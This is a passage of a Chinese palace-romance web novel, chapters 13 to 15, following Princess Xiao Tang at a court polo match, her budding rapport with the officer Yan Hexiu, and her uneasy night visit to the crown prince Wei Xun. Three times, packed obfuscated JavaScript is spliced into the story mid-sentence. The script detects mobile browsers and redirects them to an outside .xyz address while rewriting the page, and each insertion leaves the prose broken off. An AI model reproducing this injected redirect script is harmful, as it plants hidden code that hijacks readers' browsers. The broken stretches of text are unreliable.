过后几日，不少同僚仍对当初那惊鸿一瞥念念不忘，津津乐道，他听他们说着淳和公主的封号，才想起宫中还有这样一位身世可怜的姑娘。 只是两年不见，少女又长开了些，姣服明丽，身态婀娜，叫人有些不敢认。 太子道：“说。” 一个字便将太医从回忆拉回了现实。 他反应过来，这只是一回普普通通的兄妹小聚，方才实属自己下`流，竟生出那样的念头玷污太子殿下与淳和公主的清誉。 太医连忙正了正色，不敢让魏珣看出任何端倪，低头道：“卑职见那马驹舌生紫、眼生灰，恐是先前彬州上报的马疫，需要立刻请病马监剖尸以验。” 魏珣颔首应允：“尽快。” 太医作揖后很快告退。 直到那人的身影消失在视线之外，萧棠才回过神来。 魏珣这一系列的行径，分明是默认那太医瞧见了他们在一起。 兄妹间说几句话，其实本就不是什么需要偷偷摸摸、躲躲藏藏的事。她已是半个东宫的人，刚刚又被魏珣所救，来找他说几句话，任是谁都不会怀疑有什么问题。 可是…… 萧棠下唇的口脂几乎要被贝齿碾磨得不成样子。 她不敢再待下去，再度福身告辞。 魏珣嗯了声，垂眸看着奏表，没有看她。 萧棠快步退了出去。合上门，一转身，就见吴年还在门口揣袖候着。 两人对视，吴年见她神色有异，一下子猜出个七七八八，上前一步主动道：“公主殿下，奴才送您过去吧。” 这是有话要偷偷给她说的意思，萧棠挤出一点笑：“有劳公公了。” 两人行至花圃，吴年左瞧右瞧，见此处无人，才低声开口道：“公主一片真心，殿下定然已经意会，但至于那些有的没的，以后还是莫要再提了。” 他怕萧棠听不懂，亦或又装作听不懂，顿了顿，干脆挑明：“东宫的恩赏，公主好好收着便是。” 萧棠当然明白吴年的意思。 ——不论恩赏的是什么，只要是魏珣的命令，她都应该收着。 不得拒绝，不该扫兴。 哪怕她绞尽脑汁，搬出了种种看似深明大义、合乎情理的借口，也依然没有什么用处。 太子殿下只需要她乖乖听话而已。 其余的，她没有资格置喙。 也没有资格处置东宫的那些赏赐。 她先前种种，实在太高估了自己，以为自己说的话，编的理由，魏珣能够听进去。 结果又是一番自取其辱。 萧棠心头一哂，面上只柔声道：“公公所言，我铭记于心。” ………… 春光宜人，击鞠场气氛亦然一片热烈。 萧棠与晏山菱因这一出变故耽搁了许久，赶到时，席下的人已经几乎到齐了。但帝后、太子、誉王未至，她们便也不算迟来，可以如常入座。 击鞠场是太`祖在时亲自选址所建，场外三面砌高台，东台最为巍峨，是皇家宗室之所，视野最好，南北两台则分给官家男女。 萧棠的公主身份虽有名无实，但这回竟破天荒地在东台最下侧分到一席，与其余公主同席。 萧棠本以为会与晏山菱临座，见状有些意外。这是这么多年头一回，她坐的位置比那些国公侯府的千金要靠前。 宫女领她落座。约莫两柱香后，两列内侍鱼贯而入，辟出一条道来。为首的内侍扯着嗓子高喊：“皇后娘娘到，太子殿下到，誉王殿下到——” 众人立即拜伏在地，山呼千岁。萧棠目不斜视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15774848|174660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，没有看太子半点。 三人落座，东台上的宗室与皇后笑着说了几句体己话，马球赛却仍未开赛。直到又过两柱香，内侍道：“陛下到、贵妃娘娘到——” 众人再度跪拜，高呼吾皇万岁。齐刷刷的声音之下，却是各式各样的心思。 这么重要的场合，帝后竟未有一起。反倒是身为誉王之母的贵妃陪着皇帝姗姗来迟。 圣意如何，可见一斑。 萧棠知晓皇后太子与贵妃誉王水火不容，但对朝堂上那些明争暗斗并无多少了解。她瞥了瞥最上首，只隐约瞧见一道冷肃的明黄身影。 从前她位于席末，压根看不清上面的人，哪怕眯起眼睛努力盯着，也只能瞧见一团模糊的颜色。 如今坐得近了，她终于勉强看清了皇帝的样子，哪怕已经过了壮年，却仍是一派威势屹然。 ……那便是她父亲誓死效忠追随的明主。 萧棠垂眸，敛下情绪，不再多想。 随着皇帝令下，马球赛正式开赛。 太`祖在时，为着惜才拔新，有意把头彩留给后起之秀，直到第二场才亲身比试，因此便留下了规矩——第一场都是由帝后钦点的人选比试，表现我大邺人才济济，接着是皇族宗室加入其中，以彰皇威。如此繁重的礼节之后，才轮到军中出类拔萃的将士与跃跃欲试的贵族子弟入场。 如今，被选中打头彩的两支队伍已经在击鞠场外分列呈两队。 萧棠看去，微微一怔。 其中一队为首的人竟是晏何修。少年高坐马上，单手拉住缰绳，马尾高束，意气风发。 按瑞雪打听到的消息，待晏何修离京南下，便会正式上任指挥使，统辖一方刑狱与调兵之权。 太`祖设五军都督府与兵部互相制衡，分散军权，都督府虽远离燕京，却是皇帝安排在各地的眼线心腹。 晏何修才十八岁，便能接触到如此权柄，说句少年英才并不为过。难怪能在这一行队伍之中能够占据鳌头。 先前晏何修一个人在席中沉默地饮茶，她还当他跟她一样，是受了排挤。如今想来，也许只是他生性不喜应酬。 萧棠听说，军中的人大多都是这样直率干脆的性子，晏何修还年轻，更是装也不会装的年纪。 随着皇帝示意，两队人分列上场，蓄势待发。 一声哨响，击鞠场上的人瞬间奔驰冲出，人与马的身影交错纵横，目不暇接。萧棠看也看不过来，压根没瞧见七宝球到底被谁打中了，又被打到了哪儿去。 但她看不懂，不代表听不懂。身侧人频频讨论场上局面，叫她听着也勉强了解了个大概。 不出所料，晏何修一马当先，几乎回回都以迅雷不及掩耳之势赢下一球又一球，很快便彻底赢下这一整局。 皇帝看不出有什么兴味，但对晏何修的表现也颇为满意，大手一挥，便许下了不少赏赐。 少年下马，还来不及擦干净头上的大汗，便忙不迭跪地磕头谢恩。站起身后，他接过马童递来的水壶仰头豪饮，视线顺势一抬，望向东台之上。 直视天颜是为逾矩，然而他的目光却并非是最上首，而是略微错开往旁边了些。 萧棠蓦地听见身边的六公主道：“晏公子方才是不是看我了吗？” “胡说什么，他姐姐在西台上，定是在看西台那边。” “我哪有胡说，”六公主压低了声音，“那分明就是往我们这边看来的！” 萧棠心头一顿，不着痕迹地往台下看去。 恰是此时，视线交汇。 少年半张脸被牛皮水壶挡住，唯独黑曜石似的眸子在晴光下尤为闪烁。 她清清楚楚地看见，他看的人是她。 14. 第 14 章 那对视持续了一两息，不长不短，却足够让两人都意识到，他们正在看彼此。 接着，两人又不约而同地错开视线。 萧棠偏头，柔声让一旁的宫女再为她添茶。她低头喝茶，似乎什么都没发生过。 直到击鞠场上重新列阵，萧棠才重新抬头，望向那一片乌压压的身影。 她动作幅度极小，若非全程留意，根本看不明白她这一眼那一眼的，到底在做什么，还以为只是随便看看。 至于晏何修，他收回目光的动作就仓促许多了，握着水壶的手不由一紧，还不慎抖出了多余的水，溅在他的衣领上。 旁人见了，只当他是受了天赏，又太年轻，心性还不够稳。 第一场毕，第二场有皇室参与，才是重中之重。 前些年头参与的都是誉王与其他宗室子，萧棠想起宫道上那出变故，誉王才因为骑马出了岔子，也不知今年会不会更改人选。 正想着，她却突然听见了太子的名谓。 竟是魏珣与魏琮一同上场。 不止是萧棠没有料到，众人闻言，同样都纷纷一惊。 骑射为君子六礼之一，燕京无人不知太子殿下的骑射出众。然而魏珣低调，十三岁入御书房听政后便以文课为重，除开秋猎，平日几乎不参与这类似的活动。 今日是近五年来头一次。 有人上场，自然有人下场，魏琮率先选好了位置。 魏珣走至凭栏边，扫过刚刚的两队人马，没有直接点人姓名，而是道：“孤看姚大人方才伤了手腕，派太医去瞧一瞧，免得有什么隐患。” 在誉王在前，这番安排更显得十分熨帖。只是好巧不巧，如此一来，太子殿下便正好跟誉王和晏何修成了对手。 在贵妃的示意下，魏琮已经竭力平复好了心情，语气却还是不免透出几分不自然：“能与皇兄切磋，真是三生有幸。” 魏珣从容不迫地颔首：“承让。” 一切准备就绪，太子与誉王便离席去换上了骑装。 萧棠头一回见魏珣身着骑装。不是寻常时沉稳的装束，显出几分张狂，一身浓紫，凛不可犯，贵不可言，周身都是天潢贵胄的皇家气度。 生生就将一旁的誉王，不对，将在场的其余所有人都比了下去。 自太子殿下出场，西台适龄女眷们的眼睛几乎都就没有离开过他一刻，台下一阵阵议论声，几乎都围绕着他的名字。 萧棠从前就常常听人说起魏珣文武双全的名声，据说他十一岁时秋猎连射三十一只野物，无一空箭，也亲身领教过男人用力时会爬满青筋的腰和手，到底能爆发出多么大的力气。 然而，没有亲眼见过时，她确实不大能想象得出来，太子殿下骑在马上时会是如此的天纵风流。 魏珣的骑术，几乎只能用行云流水来形容—— 比试开始，他变成了众矢之的，被人团团围住。然而即便一来就身处险境，魏珣也依旧能够轻而易举地穿过重围，俯身击球入门。 小小一颗七宝球，在他杖下灵活得不可思议。 魏琮也许是还笼罩在刚刚马前失蹄的阴影中，不像从前那样随意冲锋。唯有晏何修跟得上他的速度，与之能够有过几个来回。 晏何修紧拽缰绳，无人知晓少年心中有多么苦不堪言。 他虽是军中出身，却并非不懂人情世故。有太子与誉王在，这一局摆明了不该让其他人出风头。 他同誉王一队，早已想好收敛实力，辅佐誉王，让这两位真正的天潢贵胄较量个高下。 谁知道怎的，太子殿下总是冲着他来！ 他又是让又是躲，比上一局还要狼狈不堪，偏偏太子殿下似乎完全领悟不了他的苦心，每回都盯着他！ 晏何修真的不明白了，但太子殿下做事绝不是空穴来风，必然有其深意，他不由得想，难道是今日誉王状态不佳，太子不想跟亲兄弟闹得太难看，所以有意放水，只能转而针对他了吗？ 意识到这，晏何修也顾不上什么风头不风头、藏拙不藏拙了，咬紧牙关，使出浑身解数全力以赴。 直到小半个时辰后，一声哨响，最终分出胜负—— 太子这一队，险胜一分。 说是险胜，但似乎又不尽然。 晏何修心知肚明，他已拼尽全力，然而太子殿下下马站定，却仍是一派气定神闲的模样。 这领先的一分，恐怕只是给誉王殿下一个面子。 想到这，他彻底心服口服，走至魏珣面前，拱手作揖道：“久闻太子殿下的骑术超群，如今有如此殊荣得以领教，卑职钦佩万分。” 骑马虽是六礼之一，但平常读书人就算习过骑术，也至多是粗通。 哪里会像太子殿下这样做到实打实的文武兼备，骑射能够与常年在马背上的人一较高下。 他后知后觉，刚刚太子殿下也许还存了一份心思，是想亲自探一探他的虚实。 想到这，晏何修心头一凛，头埋得愈发的低。 魏珣颔首，拍了拍晏何修的肩膀，温声道：“孤见晏大人，才知何为后生可畏。” 一席话既是勉励，也是在照拂晏何修的面子。 越过晏何修，魏珣又看向面色僵硬的魏琮，道：“皇弟才长途跋涉回京，还未休整，此番是孤胜之不武。” “……” 魏琮挤出一点笑，声音也像是从牙缝里挤出来的：“皇兄真是谦虚了。” 你一言我一语，兄友弟恭，其乐融融。 高台之上，众人看不清皇帝的表情，只听见他让身侧内侍宣读给太子与誉王的赏赐。 太子赢得漂亮，无可指摘，赏赐自然风光，除了寻常那些东西，还特有皇家礼器大阅弓一柄。 除此外，待魏珣与魏琮更衣后归位，皇帝才亲自赐了两盏酒，视作嘉赏。 纵马饮酒本就是军中传下来的作乐之风，无甚稀奇，偏偏得皇帝令为两位皇子斟酒的，是两位姿态妖娆的绝色佳人。 瞧见那两人容貌身段，众人心头不由一阵微妙。 誉王殿下就不说了，他作风豪爽放肆，皇帝贵妃不止一回赐下美人，去年选秀也为他选了两位侧室开枝散叶。 可谁人不知，东宫后院空置至今，太子分明已经弱冠三年，却连半点桃色都不曾沾。 宫内外都偶有流言蜚语，但太子名谓太过高洁傲岸，那些谣言揣测，还没传出去便不攻自破了，自也无人敢置喙太子殿下的私事。 萧棠望着那位俏丽的女子袅袅婷婷走至魏珣案边，俯身行礼道：“见太子安。” 接着，她便俯下身，抬起线条曼妙的手臂，为魏珣身前酒盏斟酒。 叮当一声清脆的响，那女子放下酒壶，先是一阵告罪，又用极柔媚的声音乞求道：“奴婢耳坠不慎掉在殿下手边，可否请殿下拿给奴婢？” 那耳坠不偏不倚地滚落到太子袖边，他一抬手，便可以拿起来。 萧棠想，不愧是宫中挑选的人，连同样身为女子的她，听见此女乞求，都忍不住心软一截。 更不要说在人前对宫女都会和颜悦色太子殿下。 然而出乎意料地，魏珣只是偏眸：“吴年。” 一旁侍奉的吴年会意，连忙拿起那枚火红的圆珠耳坠，奉还到那女子手上。 女子的笑容一下子僵住。 但吴年是名副其实的东宫大太监，由他双手奉还，亦说明太子很给人面子了。她不敢不接，端起酒壶讪讪退回人后。 萧棠与众人一同偷偷望向上首，却不见帝后有什么反应，似乎那位斟酒的佳人只是单纯奉命为太子添酒，并无别的含义。 太子亦端坐案前，脸色沉静，不见异样。 下一局有条不紊地开始，众人见状，也都聪明地不再提起刚刚的插曲。 赛事是一轮接着一轮，换着人马上场，但显然都不如先前的精彩。 又过两场，皇帝显然有些意兴阑珊，起身与贵妃一同离席。 没了天家威严在上头压着，气氛却反倒更自在了些，呼声、掌声都逐渐地大了起来。 晏何修又比过几场，皆赢得轻松。 一时之间，这位头一次在燕京权贵面前露面的年轻指挥使，可谓是风头无量。 连他的堂姐晏山菱都沾了光，待马球赛结束，还有不少女眷围着她缠着她，只为了打听晏何修的事。 晏山菱应顾不暇，直到瞧见萧棠往这边走来，才终于连忙找到借口脱身。 萧棠是来找她一同去太医院取药的。晏山菱的伤口虽已无大碍，却仍要每日敷药，才能保证不留下疤痕。 至于她，虽然什么伤都没有，但太医见她面色苍白，怕她惊慌过度，还是开了一列安神定心的药材。 刚刚她们为了赶上马球赛，离去匆匆，只有现下才有时间回去一同去取药。 去太医院的路，萧棠再熟悉不过，闭着眼睛都不会走错。两人并肩走在宫道上，忽地听见身后的脚步声。 “阿姊——” 两人回头。少年瞧见萧棠，止住脚步，嗓音又几不可察地顿了一下，才恭敬道：“公主殿下。” 萧棠冲他微微一笑。 她有双极漂亮的桃花眼，盈盈发亮，哪怕是瞧着一位侍女，也叫人觉得含情脉脉。 晏何修的眼神不大自然地移到了晏山菱脸上：“这边不是离宫的方向，阿姊可是迷了路？” 方才晏山菱一直没空跟晏何修搭话，晏何修自然也不知道之前都发生了什么。 此事涉及誉王、太子等人，宫中隔墙有耳，晏山菱不敢多说，随便交代了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15774849|174660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句。 晏何修闻言，眉头轻轻蹙起。他知宫中不得妄言，便只道：“早知如此，方才见到太子，我定要替阿姊再向他道谢。” 萧棠侧目：“你方才见了皇兄？” 晏何修：“席下遇见太子，太子记得我在场上表现，我便有幸与他多说了几句话。” 晏山菱一听，瞬间面露喜色：“那定是你方才表现得好，太子殿下看中你了！” 晏何修倒是不骄不躁，平稳道：“只是骑射有几分出挑，想要入东宫青眼，不止这一样。” 两姐弟所说，萧棠左耳进右耳出，几乎没怎么听进去。 她满脑子只剩魏珣先前告诫她的话，清清楚楚，犹在耳畔。 ……晏家的人，难道只有她见不得，他却能见得？ 她从前倒不曾发现，太子殿下除了冷血无情外，还如此乾纲独断。 不等萧棠细想，又听晏何修道：“太子还问了我，何时启程离京。” 萧棠回过神，望向他。 少年似也感受到了她的目光，抿起唇角，低声道：“我说，最迟也就是下月初了。” 萧棠想了想，轻声问：“我听她们说，晏大人是要回扬州卫吗？” 似乎不曾料到她会主动问起，晏何修一怔，颔首应下：“正是。” “春三月的江南，倒是好风景。” 晏何修望着她，忍不住追问：“公主去过江南？” “我是江南生人，”萧棠如实道来，“只是幼时便到了燕京，已经很多年没有去看过。” 一听到几人算是同乡，话匣子瞬间就打开了，晏山菱揽过萧棠手臂，“我先前便猜，公主殿下的样貌可像是水乡里才生得出的美人。” “倒是何修——” 她指了指少年深刻的眉眼，“遗传了他奶奶的样子，不论是谁见了，都说他像是漠北那边的人，公主说呢？” 萧棠顺着她手指的方向，认真端详起来晏何修的眉目。 少女秋水盈盈的美眸直勾勾盯着他的脸，似有双无形的手拂过他的眉眼。 尚未等她端详出个结论，晏何修先移开了目光，不自然地低咳了一声，催着晏山菱：“别说这些，看路。” 晏山菱瞪了这个不知好歹的堂弟一眼，哼了声，继续下一个话题。 几人一同走着，萧棠便听他们说起江南前几月的雪景，又提起去年春日亲自酿的桃花酒。 那是她父母魂归之处，亦是她真正的家，可他们所言的那些风光，萧棠已经十三年没有见过。 襁褓中、婴孩时的记忆，都已经随着时间推移变得尤为模糊。 晏何修亦没有错过少女脸上的新奇感慨之色。 他按捺不发，直到行至下一个路口，将要分别时，才终于道：“我忽然记起，这回北上带了些桃花酿。” 少年的嗓音飘在风中：“……公主若是有兴趣，可要尝一尝？” 萧棠呀了一声：“这怎么好意思。” 晏何修后知后觉地意识到方才自己那番话的唐突之意，又连忙补充道：“就当是阿姊谢过公主。” 晏山菱也在一旁帮腔：“是啊，若不是刚刚公主你推了我一把，我说不定就被誉王殿下的坐骑撞上了，这可是救命的恩情，一壶桃花酿算得了什么？” 晏何修颔首，乌沉的眸子直直盯着她。 萧棠对上他的眼睛，美眸轻轻弯起：“我还不曾尝过桃花酿的滋味，先多谢晏大人。” 轻软的嗓音似一层薄薄的纱，铺天盖地将他拢住。 晏何修的手捏紧腰间玉佩，唇紧紧抿着，耳根莫名起了一片红。他唇瓣翕动了下，酝酿了许久，最后只挤出一句话，语调十分快速：“我先回去看看酒还剩多少。” 说罢，他长腿一迈，便头也不回地与她们相反的方向去了。 在击鞠场上骑着马纵行自如的少年，此时离开时的背影却有几分像是落荒而逃。 晏山菱忙把萧棠拉过来，继续说着她在扬州的种种故事。 松快的气氛一直持续到两人分别，萧棠准备回潇湘殿，却正好撞上了严嬷嬷。 严嬷嬷也方才从太医院为皇后取过安神的药，见了萧棠，忽地想起什么，叫住了她：“淳和公主。” 萧棠：“嬷嬷可有什么话转告给我？” “今日誉王纵马之事，皇后娘娘已经知晓，”严嬷嬷一板一眼地提醒她，“公主有此切身经历，定然也知此是多事之秋，还请公主先前答应过娘娘的事情早作决断。” 原来是听她与誉王又扯上干系，皇后等不及了，想早早把她打发出去，免得又有变故。 萧棠也不知该不该用因祸得福来形容这一番遭遇。 严嬷嬷又道：“皇后娘娘召见公主时，希望公主已心中有数，切莫拖延。” 15. 第 15 章 一过初春，燕京城的天气便是晴雨不定，好三日、坏三日，好好坏坏又三日。 马球赛后，陆陆续续下了两日雨，瑞雪冒着雨给萧棠带来了一个好消息与一个坏消息。 好消息是：“吴公公说，太子明日就要去皇寺了。” 坏消息是：“他提点奴婢，让殿下前一夜去送一送太子。” 所谓送别，自然不可能让她一个并不受宠、也并非皇后亲生的公主，在队伍起行之前，当着众目睽睽与太子殿下寒暄。 无非就是让她尽好本分，在太子殿下即将投身于无聊乏闷的事务之前，做一朵讨他开心的解语花。 先前魏珣要离京去处理沙灾，吴年也让她在前夜去见他。 只是当时她被魏珣折腾怕了，膝盖上还留着乌青，实在不想见他，便硬着头皮选择装病。任是吴年亲自上门来请，她也只说咳疾发作，不敢把病气过给太子殿下。 至于这一回，萧棠并未拒绝。她明日就要去见皇后，在此之前，应当有必要去找魏珣探一探口风，看他何时归程，又有何打算，以作随机应变。 这夜日暮四合，雨势渐大，似珠串线地泼在朱瓦之上。 吴年亲自来送她，一边为她撑伞，一边说明情况。按明了大师挑选的良辰吉时，太子殿下明日寅时，便要从宫中出发，前往本朝皇寺净光宫。 净光宫位于与京郊西南侧接壤的净光山上，历经三朝皆为国寺，地位超然。 每逢年初与四时节气等重要日子，净光宫都要例行祷仪，以慰风调雨顺、国泰民安。 年前沙灾、洪灾不断，朝堂内外束手无措，大年初一，皇帝便亲驾净光宫中拜佛。如今灾情已定，天象见吉，皇帝大悦，便有意回净光宫告奠明祀。 但这些时日雨露颇重，天子那条右腿犯了老毛病，鞍马劳顿多有不便。太子仁孝，便自请替父前去净光宫。 他自幼信佛，与明了大师关系密切，本就是最适合不过的人选，皇帝没理由不答应，爽快应允。 听吴年介绍那谢仪的流程，萧棠忍不住想，皇帝让太子殿下去，恐怕不单单只是不良于行的缘故—— 前往仰降皇灵，竟要先在净光宫中斋戒三日，行谢仪三日，前后再有种种安排，浩浩荡荡，繁琐至极。 她光是听吴年介绍着，便已经觉得身子有些乏累了。 不过，这倒让萧棠想起件另一事，魏珣明日便要舟车劳顿，他今晚就算见了她……应当也不会有什么折腾一通的兴致吧？ 就算有了，她月信将至，也可以以此为借口推脱。 这么想着，便听吴年道：“公主，到了。” 萧棠以为两人已经走到了宫门外，应当像从前那样坐上马车，驶出宫去。然而当她抬头，引入眼帘的却是完全陌生的景象。 四下寂静，隐有虫鸣。 萧棠垂下眼，望着地上的水洼，洼中倒映出巍巍煌煌的东宫的影子，似在脚下，又似在天边。 她佯装不知吴年的意思：“公公怎么突然带我路过东宫？” “出宫回宫一趟，可少不得麻烦太子殿下。”吴年手指向上，道，“况且今日还下着雨。” 话是这么说，但既然魏珣不想麻烦，不见她就是怎了，怎么还要让她主动去东宫？ “我我从不曾入东宫，此处人多眼杂，我心惶恐，吴公公还是莫要擅自做主。” 吴年道：“公主若是怕被殿下责罚，大可放心，太子并未不允公主入内。” 他是在安抚萧棠，然而萧棠听了这话，更觉不对。 她与魏珣种种荒唐都发生在宫外，无论有多见不得人，总归都被一道宫墙挡在了外边，怎么都传不进来。 从前的太子殿下大抵也对这一点心知肚明，因而每每见她，都选在私宅之中。 一旦踏入宫门，两人便做回陌路兄妹，除了表面寒暄问候，再无瓜葛。 如此心照不宣已经足足一年，怎么偏偏在今晚换了规矩？ 而且看吴年口吻，魏珣压根不是同她商量，是近乎命令与通知。 有先前的教训再，她并不能拒绝。 漫天的雨珠似蛛丝缚身，萧棠扯开一抹浅笑：“……还请公公带路吧。” 只能往好处想，若在东宫之中，魏珣定不会留她多久，免得落人口舌。 很快她便可以功成身退，早早回潇湘殿歇着，离这烫手山芋远些。 吴年领着她走过小路，踏进某处看起来分外隐秘的侧门。 长至如今，萧棠还从未进过东宫。她忽地好奇此处会与魏珣的私邸有何不同，干脆借着廊下灯火打量起沿路景象。 瑶宫仙境，绛河丹阙，玉楼珠殿，相映月轮边。所谓九天仙宫，莫过如是。 行在其中，人都会不由自主屏息凝神，不敢生出半分怠慢不敬。 也难怪那些东宫辅臣都将太子殿下当做无情无欲的神仙，萧棠想，她若是在此处见到魏珣这般丰神俊朗似的男人，也难免觉得这东宫的主人定是什么不食人间烟火的人物。 至于东宫中的仆婢，则与私邸中一样训练有素，行走做事时从不发出半点声响，寂静得可怕。 萧棠尤其注意到，此处的宫女个个面容平平，都是放人堆里都再挑不出的长相。 那日太子拒绝了斟酒的佳人，她便听旁座人一桩旧事，说是皇后曾经特赐过太子殿下几位美婢，但不论是何等模样的美人，最终都被太子殿下遣出宫去嫁人了。 据说太子殿下还命人为她们备好了嫁妆，那些姑娘也都是苦命人，瞧着打动不了高洁傲岸的太子，便识趣地收了心，高高兴兴地拿着银两还籍出宫。 此番“太子送美”的典故由那些姑娘亲口传入民间，一时为人津津乐道。民间闻者，无不赞赏太子菩萨心肠。 萧棠如今回想起来，只求魏珣对她也与对那些女子无异。 不对，她还不需要他准备的嫁妆，更好打发一些。 胡思乱想着，萧棠已被吴年走到了书房门口。 她欲要进门，身前却横来一只手臂，守门侍卫凶神恶煞地盯着她，冷冷道：“还请留步。” 吴年哎哟了声：“这位是淳和公主，你拦着做什么？” 侍卫：“若无殿下之令，卑职都应恪尽职守，不论公主庶民，便是坤宁宫的人来了，也一律不得入内。” 话音甫落，便听见男人平淡的语调：“让淳和进来吧。” 一时之间，三人皆愣。 外边的动静不算大，不曾想太子殿下耳聪目明，听得这般清楚。 那侍卫看萧棠的眼神微微变了，萧棠却没有心思去纠结其中意味，端过一旁内侍送来的食碟，推门入内。 书房内的陈设亦甚是雅致，错落摆着名家字画，旁侧置一佛龛，龛前供着名贵清雅的银心吊兰，檀香和着淡淡花香，幽幽散在书房之中。 博山炉中烟雾袅袅升起，将男人清俊的脸庞隐在雾后。 “吴公公说皇兄明日就要启程去净光山，特让我来送一送。” 萧棠将碟盘放在案边，柔声道：“听闻皇兄宵衣旰食，下午至今滴米未沾，委实辛苦，下人便特地做了些吃食。” 这都是吴年教她的话，她只需将吃食与话带到即可，至于魏珣到底吃不吃，就不管她的事了。 她虽然没有同魏珣用过膳，但也大概知晓他的口味跟习惯。 非常清淡，不喜辛辣，不喜油腻，且与入斋的子弟一样过午不食。 果然不出所料，魏珣翻了一页案牍，连眼睛也没抬，不咸不淡地道：“不必了。” 萧棠应声，又听他道：“替孤研墨。” “……啊？”她吗？ 魏珣一顿，抬起眸子，望向少女微张的唇瓣，平静无波地反问：“不会？” 萧棠点头，又摇头，柔声道：“会一些，但不太娴熟，不敢在皇兄面前献丑。” 她知晓魏珣有挑剔的毛病，若磨的墨不够细腻均匀，定会惹他不虞，干脆早点婉拒，免得真揽下这吃力不讨好的活。 况且，她只会做嘴上功夫，说说几句关心人的话，真的要让她一直研墨，萧棠自觉吃不消。 然而，魏珣却道：“无妨。” “……” 话都说到这个份上，再拒绝下去，萧棠只怕男人阴晴不定的脾气又发作。 她不想再出什么岔子，别无他法，只得认命地拿过砚台，慢慢吞吞地替魏珣研起墨来。 魏珣坦然地受着她的红袖添香，视线重新落回手中的东西，一一扫过，面无表情。 没有人说话，博山炉中檀香渐浓，烛蜡一点点往下滴。 萧棠低着头望着那黑漆漆的砚台。她并未给魏珣磨过墨，或者换而言之，素日里除了姓事，两人几乎没有半点干系。 甚至就连彻夜鏖战之后，次日都从来不曾有半分温存。每回她醒来时，魏珣都已经重新沐浴更衣，因事离开，徒留她一个人。 就算是魏珣最闲暇的时候，也不曾有一丝半毫浪费在她身上。 然而过了好半晌，魏珣也不曾下逐客令，任由她继续在这儿待着。 又过半晌，蜡烛燃过半截，魏珣仍没有别的反应。 萧棠这下不会再觉得太子殿下是默许她留下，相反，她猜魏珣大抵是完全忘记了她的存在。 然而魏珣此时专心致志地看着案牍，她若忽然套他话，未必能达成目的…… 胡思乱想着，魏珣已经将没看完的案牍合上，放在一旁，开口道：“说罢。” 萧棠又磨了磨砚台，过了一会儿后，才反应过来魏珣在看着她。 刚刚那句话，也是问她。 “皇兄是指说什么？” 萧棠刚问出口，便福至心灵般有了答案，连忙道：“我只是听闻皇兄又要离京，想来见一见皇兄，并无事相求。” 魏珣不置可否，望着她。 “……当然，也想问皇兄一件事。” 萧棠有意避开他的注视，低声道：“吴公公只说皇兄去净光宫要花上些时日，可到底是哪日归程，他不曾同阿棠说清楚。” 魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最近事情太多，又无人提醒，她都差点忘了，很快就是她的生辰。 ……魏珣方才的意思，是不是就在承诺她，今年她的生辰，他会从净光山赶回来陪她？ 萧棠不愿再想了，这份承诺一下子让她有些措手不及。 魏珣还从未提起过她的生辰，从前没有，他们保持这种关系以来一年，这也是第一回。 她隐约生起某些念头，尚未理清，忽地感觉到前方灯火骤亮，传来低低斥声：“还不快找！” 萧棠定睛，只见数人提着灯笼照亮了一处房门，又有不少下人来来回回从一旁的房间中搬出箱子。一位白面内侍叉腰看着他们，十万火急地道： “老天爷的，谁让你们把这么重要的环佩放在西库房，不知道这里只能堆无用的东西吗？若明日寅时前找不到，你们可自求多福！” “……赶紧的，一件一件找，不信把这西库房翻得底朝天了还找不出来！” 下人们依照吩咐一箱一箱地打开，拿出箱子中所有物什，一一清点，又放回去看下一箱。 萧棠余光一瞥他们拿出来的金银珠宝、笔墨字画，有的一件便足够寻常人家吃上一两年，在东宫却被弃如敝履般地放在此处生灰，连下人都说是无用之物。 皇室以天下养，其奢侈可见一斑。 她正感叹着，忽地在下人清点的物什中，瞧见了一件熟悉的香囊。 朱红色的底，绣金黄的六尾锦鲤。 只是已经扑了层灰，朱红变成了深红，金黄也变成了暗黄。 那香囊就这样被随意地扔在地上，颜色不起眼，个头也不起眼，若不是她挑灯盯着这玩意看了好几日，大抵也无法认出，竟然是她先前送给魏珣的谢礼。 下人来来回回走动出入，有的避闪不及，甚至屡屡踩到或踢到地上的东西，他们也并不在意。 对东宫来讲，把东西放进西库房，大抵也跟直接扔了也没什么区别。 萧棠静静看着，手背上忽然有针刺的凉意。她低头一看，原来是廊外的雨珠被风吹得砸到了手上，一颗颗的，刺得她手背生疼。 她伸手抹开，又忽地想起小时候，她还天真地抱着讨好宫中姊妹的念头。每逢她们的生辰、节日等时候，她都会认认真真给她们准备贺礼。 她自己都舍不得用的东西，每回都忍着心疼送了出去。 直到那一日，她瞧见长宁公主的侍女转头就把她送的东西扔了，那两个侍女边扔边背后笑话她，说长宁宫中不缺好东西，潇湘殿出手那么寒碜，还不如不送。 方才那些乱七八糟的念头，一闪而过的念头，近乎自作多情的念头，一瞬间全都被跟着扫进了库房之中。 